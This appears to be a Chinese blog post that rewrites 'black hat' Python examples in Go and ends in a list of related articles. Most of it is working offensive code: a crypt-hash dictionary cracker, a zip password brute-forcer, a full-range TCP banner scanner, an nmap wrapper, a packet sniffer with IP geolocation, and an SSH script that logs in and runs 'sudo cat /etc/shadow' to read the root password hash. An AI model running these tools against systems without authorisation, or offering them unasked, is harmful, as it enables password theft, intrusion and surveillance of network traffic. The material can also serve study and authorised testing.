Go黑帽子
使用go语言来实现python黑帽子和绝技的代码
1.unix密码破解器
package main
import(
"bufio"
"flag"
"io/ioutil"
"os"
"log"
"fmt"
"strings"
crypt "github.com/amoghe/go-crypt" //加密包
) var (
passfile string //unix密码文件
dict_pass string //密码字典文件
)
func init(){
flag.StringVar(&passfile,"f","","open pass") //设置命令行
flag.StringVar(&dict_pass,"d","","open pass dict")
}
func main(){
flag.Parse() //解析命令行
if passfile=="" || dict_pass==""{
println("Please "+ os.Args[0]+" -h")
os.Exit(0)
}
passFile,err:=os.Open(passfile)
if err!=nil{
log.Fatalln(err)
}
defer passFile.Close()
dictFile,err:=ioutil.ReadFile(dict_pass)
if err!=nil{
log.Fatalln(err)
}
passDict:=strings.Split(string(dictFile),"\n") //以换行为分割放入切片中
scanner:=bufio.NewScanner(passFile)
for scanner.Scan(){
j:=scanner.Text()
if strings.Contains(j,":"){ //查询是否包含:
user:=strings.Split(j,":")[0]
cryptPass:=strings.Split(j,":")[1]
fmt.Printf("[*]for :%v",user)
for i:=0;i<len(passDict)-1;i++{
if testpass(cryptPass,passDict[i])!=""{
println(testpass(cryptPass,passDict[i]))
break
}
}
} }
}
func testpass(cryptpass string,password string)string{
saltsearch:=strings.LastIndex(cryptpass,"$")//寻找$位置,返回索引
salt:=cryptpass[0:saltsearch]
cryptword,err:=crypt.Crypt(password,salt)
if err!=nil{
log.Fatalf("sha:%v",err)
}
if cryptword==cryptpass{
return "[+]Found password:"+password
}
return ""
}
包的话需要GCC支持.
需要unix的密码文件和很好的密码字典.



原理就是通过把字典里的密码循环跟unix密码文件的salt进行加密得出是否跟Unix密码一样.暴力破解,需要字典的深度,还需要密码文件,一般来说密码文件很难获取,除非能下载下来
而且字典不行会导致匹配到最后都得不到结果,只针对于zip格式的,如果需要其他格式的还需要其他格式压缩包支持的包或自己写
2.然后是zip爆破工具
package main import(
"bufio"
"flag"
"log"
"os"
"github.com/alexmullins/zip"
)
var (
zipfile string
dict_pass string
)
func init(){
flag.StringVar(&zipfile,"f","","open zip")
flag.StringVar(&dict_pass,"d","","open dict")
}
func main(){
flag.Parse()
if zipfile=="" || dict_pass==""{
println("Please "+os.Args[0]+" -h")
os.Exit(0)
}
zipr,err:=zip.OpenReader(zipfile)
if err!=nil{
log.Fatal(err)
}
dict_Pass,err:=os.Open(dict_pass)
if err!=nil{
log.Fatalln(err)
}
defer dict_Pass.Close()
scanner:=bufio.NewScanner(dict_Pass)
for scanner.Scan(){
pass:=scanner.Text()
for _,z:=range zipr.File{
z.SetPassword(pass)
_,err:=z.Open()
if err==nil{
println("[+]Found Password:"+pass)
os.Exit(0)
}
}
} }
需要go get zip包,是第三方包,需要代理下载.http和https都需要,可以在终端设置下
http_proxy="http://127.0.0.1:1080"
http_proxy="http://127.0.0.1:1080"
前提是你有代理服务器
这个zip爆破原理是通过字典循环,用密码去试着解压,没报错解压成功就是密码对了
3.端口扫描器
package main
import (
"fmt"
"io"
"net"
"os"
"strconv"
"sync"
"time"
)
func main(){
if len(os.Args) !=2{
fmt.Fprintf(os.Stderr,"%s ip-addr\n",os.Args[0])
os.Exit(1)
}
target:=os.Args[1]
wg:=sync.WaitGroup{}
c:=func(ports int){
conn,err:=net.DialTimeout("tcp",target+":"+strconv.Itoa(ports),time.Duration(2)*time.Second)
if err==nil{
fmt.Fprintf(conn,"hello\r\n")
buf:=make([]byte,0,4096)
tmp:=make([]byte,256)
for {
n,err:=conn.Read(tmp)
if err!=nil{
if err!=io.EOF{
fmt.Println("read error:",err)
}
break
}
buf=append(buf,tmp[:n]...) }
conn.Close()
//str := string(buf[:])
fmt.Println(ports,"open",string(buf[:])) }
wg.Done() }
wg.Add(65534)
for i:=0;i<65534;i++{
go c(i)
}
wg.Wait()
os.Exit(0)
}
依次对IP扫描65534个端口,并发送Hello获取回应内容,就是得到banner
这里面用到了go的goroutine,比python的多线程稳定,这里设置了两秒的超时时间,一般来说一秒足以,但之前测试几次有响应慢的情况所以多加了一秒.


4.结合namp来扫描,以下为linux上
package main
import(
"fmt"
"os"
"os/exec"
"syscall"
)
func main(){
if len(os.Args)!=2{
fmt.Fprintf(os.Stderr,"%s ip-addr\n",os.Args[0])
os.Exit(1)
}
bin,err:=exec.LookPath("/usr/bin/nmap")//检测目录可执行文件是否存在
if err != nil{
panic(err)
}
args:=[]string{"namp","-v","-A",os.Args[1]}
env:=os.Environ() //执行环境的副本
execErr:=syscall.Exec(bin,args,env)//目录,命令和执行环境
if execErr!=nil{
panic(execErr)
} }
前提是安装了nmap,可用apt-get install nmap命令快速安装,会在/usr/bin/目录中生成nmap可执行文件.
然后使用os包调用类似的cmd运行nmap的命令,如果想运行更多功能可以拓展代码.


5.ssh连接代码,python中是分了两个来进行连接,一个是使用检测命令行,一个是使用特定模块直接连接,第二种写起来更方便
package main
import (
"fmt"
"os/exec"
"regexp"
"time"
"log"
"github.com/shavac/gexpect"
)
func main(){
ssh,err:=exec.LookPath("/usr/bin/ssh") //查询ssh文件,如果没有则apt-get安装
if err !=nil{
log.Println(err)
}
child,_:=gexpect.NewSubProcess(ssh,"pool@127.0.0.1") //这里ssh连接账户及地址,因为是直接使用软件,可以改端口或者不改
if err:=child.Start();err!=nil{
fmt.Println(err)
}
defer child.Close()
if idx,_:=child.ExpectTimeout(0*time.Second,regexp.MustCompile("password:"));idx>=0{ //检测命令行判断登入后是否显示password.让我们输入密码
child.SendLine("password")
}
child.SendLine("sudo cat /etc/shadow | grep root") //登入成功后把密码文件内容发送过来
if xxx,_:=child.ExpectTimeout(0*time.Second,regexp.MustCompile("password:"));xxx>=0{ //因为如果不是root用户的话sudo可能还需要再输入一次所以在检测一遍
child.SendLine("password")
}
child.InteractTimeout(3*time.Second)
}
因为没写爆破就不执行了,环境在linux上运行,可以加上爆破内容,字典遍历,但感觉不是很方便.
6.使用go操作pdf
package main
import (
"fmt"
"log"
"os"
"strings"
"rsc.io/pdf"
)
func main(){
if len(os.Args)!=2{
fmt.Fprintf(os.Stderr,"%s file.pdf\n",os.Args[0])
os.Exit(1)
}
open_Pring(os.Args[1])
}
func open_Pring(filename string){
pdfFile,err:=pdf.Open(filename) //打开pdf文件
if err!=nil{
log.Println(err)
}
docInfo:=pdfFile.Trailer().Key("Info").String() //寻找pdf中的info内容
docInfo=strings.TrimLeft(docInfo,"<<") //删除左边<<
docInfo=strings.TrimRight(docInfo,">>") //删除右边>>
info:=strings.Split(docInfo,"/") //分隔
for _,v:=range info{
println(v)
} }
需要对应的pdf包支持,使用go get rsc.io/pdf


7.使用数据库查询查询IP经纬度及位置信息
package main
import (
"fmt"
"log"
"os"
"net"
"path/filepath"
"github.com/oschwald/geoip2-golang"
)
func main(){
if len(os.Args)!=2{
fmt.Fprintf(os.Stderr,"%s ip addr\n",os.Args[0]) //命令行获取需要查询的IP
os.Exit(1)
}
target:=os.Args[1]
use_Print(target)
}
func use_Print(target string){
if target==""{
log.Fatalln("error ip")
}
ipMdbPath,_:=filepath.Abs("GeoLite2-City.mmdb") //在GITHUB地址上下载IP数据库
ipDb,err:=geoip2.Open(ipMdbPath)
if err!=nil{
log.Fatal(err)
}
defer ipDb.Close()
ip:=net.ParseIP(target)
record,err:=ipDb.City(ip)
if err!=nil{
log.Fatal(err)
}
fmt.Printf("[*] Target: %v Geo-located.\n", target) //根据作者格式写出想查询的信息,这里跟PYTHON是一样的
//fmt.Printf("[+] %v, %v, %v\n", record.City.Names["ru"], record.Subdivisions[0].Names["ru"], record.Country.Names["ru"])
fmt.Printf("[+] ISO country code: %v\n", record.Country.IsoCode)
fmt.Printf("[+] Time zone: %v\n", record.Location.TimeZone)
fmt.Printf("[+] Coordinates: %v, %v\n", record.Location.Latitude, record.Location.Longitude)
println()
}
go get github.com/oschwald/geoip2-golang,在这个github地址中存在数据库,下载后使用数据库查询,也能查询的更多.


8.扫描网口数据包把源IP和目的IP输出
package main import (
"fmt"
"log"
"net"
"path/filepath"
"time"
"github.com/google/gopacket" //谷歌的数据包处理
"github.com/google/gopacket/pcap"
"github.com/oschwald/geoip2-golang"
)
var (
device string = "wlp5s0" //网口名称
snapshot_len int32 = 1024
promiscuous bool = false
err error
timeout time.Duration = 30 * time.Second
handle *pcap.Handle
)
func main() {
handle, err = pcap.OpenLive(device, snapshot_len, promiscuous, timeout)
if err != nil {
log.Fatal(err)
}
defer handle.Close()
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range packetSource.Packets() {
if net := packet.NetworkLayer(); net != nil {
src, dst := net.NetworkFlow().Endpoints()
fmt.Printf("[+] Src: %v, --> Dst: %v \n", src, dst)
printRecord(src.String(), dst.String())
}
}
}
func printRecord(src string, dst string) {
if src == "" || dst == "" {
log.Fatalln("Error IP")
}
absPath, _ := filepath.Abs("GeoLite2-City.mmdb")
db, err := geoip2.Open(absPath)
if err != nil {
log.Fatal(err)
}
defer db.Close()
ipSRC := net.ParseIP(src)
recordSRC, err := db.City(ipSRC)
if err != nil {
log.Fatal(err)
}
ipDST := net.ParseIP(dst)
recordDST, err := db.City(ipDST)
if err != nil {
log.Fatal(err)
}
fmt.Printf("[+] SRC: %v, %v\n", recordSRC.City.Names["ru"], recordSRC.Country.Names["ru"])
fmt.Printf("[+] DST: %v, %v\n", recordDST.City.Names["ru"], recordDST.Country.Names["ru"])
}
需要go get github.com/google/gopacket
linux还需要支持apt-get install libpcap-dev
这里面也用到了IP数据库,用来获取IP所在城市,然后不停抓包把源地址和目的地址输出出来.只是需要注意输出的格式就可以了
注意网口不要写错了,ifconfig查看

Go黑帽子的更多相关文章
- ZSTU OJ 3770: 黑帽子 归纳总结
Description 一群非常聪明的人开舞会,每人头上都戴着一顶帽子.帽子只有黑白两种,黑的至少有一顶.每个人都能看到其它人帽子的颜色,却看不到自己的.主持人先让大家 看看别人头上戴的是什幺帽子,然 ...
- 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道
Python黑帽子 黑客与渗透测试编程之道 <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...
- 2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道
python代码见码云:20179204_gege 参考博客Python黑帽子--黑客与渗透测试编程之道.关于<Python黑帽子:黑客与渗透测试编程之道>的学习笔记 第2章 网络基础 t ...
- 《Python黑帽子》_1设置Python环境安装wingIDE
1首先你得有个Kali 检测python版本 安装pip 2安装wingIDE 网站 http://www.wingware.com 获取WingIDE 3解压wingide并且解决依赖关系 下载后在 ...
- python黑帽子
1.TCP客户端 #AF_INET 使用标准的IPv4地址或者主机名 #SOCK_STREAM是一个客户端 import socket target_host = 'www.google.com' t ...
- python黑帽子-黑客与渗透测试编程之道(源代码)
链接: https://pan.baidu.com/s/1i5BnB5V 密码: ak9t
- 《Python黑帽子:黑客与渗透测试编程之道》 自动化攻击取证
工具安装: 下载源码:https://code.google.com/archive/p/volatility/downloads 工具配置: 获取内存镜像:https://www.downloadc ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Windows系统提权
环境准备: pywin32的安装在第八章的键盘记录中有,这里还需要安装wmi: 在本人的32位win7上本来是没有easy_install这个命令的,这需要安装setuptools-0.6c11.wi ...
- 《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器
基于浏览器的中间人攻击: #coding=utf-8 import win32com.client import time import urlparse import urllib data_rec ...
随机推荐
- Java学习---TCP Socket的学习
基础知识 1. TCP协议 TCP是一种面向连接的.可靠的.基于字节流的运输层(Transport layer)通信协议.在简化的计算机网络OSI模型中,它完成第四层传输层所指定的功能,UDP是同一层 ...
- Linux下的Mysql备份/恢复
数据库逻辑备份 逻辑备份:将数据库的数据以逻辑的SQL语句的方式导出 查看帮助 mysqldump --help 0.数据库开启状态 1.备份某个特定的库: mysqldump -uroot -pro ...
- 整合VIM和Graphviz,并且使用本办法实现实时预览
在编程或是整理知识的时候一直苦于没有一款可以帮助理清思路的工具. 在网上苦寻良久,终于找到了一款可心可意的小软件 —— Graphviz. 折腾了一番,终于可以凑合着用了. 现将折腾的成果记录于此以作 ...
- 如何解决ORA-12547错误!
最近在布置一个应用程序连接oracle后台数据库,数据库为oracle11g(11.2.0.2).应用程序属于root用户,所以需要以root用户通过系统认证的方式连接数据库.设置了root用户的环境 ...
- python基本数据类型(容器)- tuple list dict set
tuple list dict set统称为“容器” 1. 元组tuple 列表list: 1.1 同:元组( ).列表[ ] 都是有序的 1.2 异:元组不能修改,列表可以修改 1.3 注意⚠:如果 ...
- 串口编程 System.IO.Ports.SerialPort类
从Microsoft .Net 2.0版本以后,就默认提供了System.IO.Ports.SerialPort类,用户可以非常简单地编写少量代码就完成串口的信息收发程序.本文将介绍如何在PC端用C# ...
- day13 多线程建立方法
#01创建多线程 继承Thread类 覆盖run方法:run方法里面运行要执行的代码 创建对象 调用start方法,start方法会开启线程,然后调用run方法 获取线程名字: ...
- Debian9+PHP7+MySQL+Apache2配置Thinkphp运行环境LAMP
因工作需要,配置了一台服务器,运行THINKPHP框架程序,记录配置过程如下: 安装net版Debian9,完成后,如下: 1.配置基本的网络 php install net-tools 安装net- ...
- IntelliJ IDEA 与Eclipse Link with Editor等价功能设置
Link With Editor是Eclipse内置功能中十分小巧,但却异常实用的一个功能. 这个开关按钮 (Toggle Button) 出现在各式导航器视图 ( 例如 Resource Explo ...
- PAT——1068. 万绿丛中一点红
对于计算机而言,颜色不过是像素点对应的一个24位的数值.现给定一幅分辨率为MxN的画,要求你找出万绿丛中的一点红,即有独一无二颜色的那个像素点,并且该点的颜色与其周围8个相邻像素的颜色差充分大. 输入 ...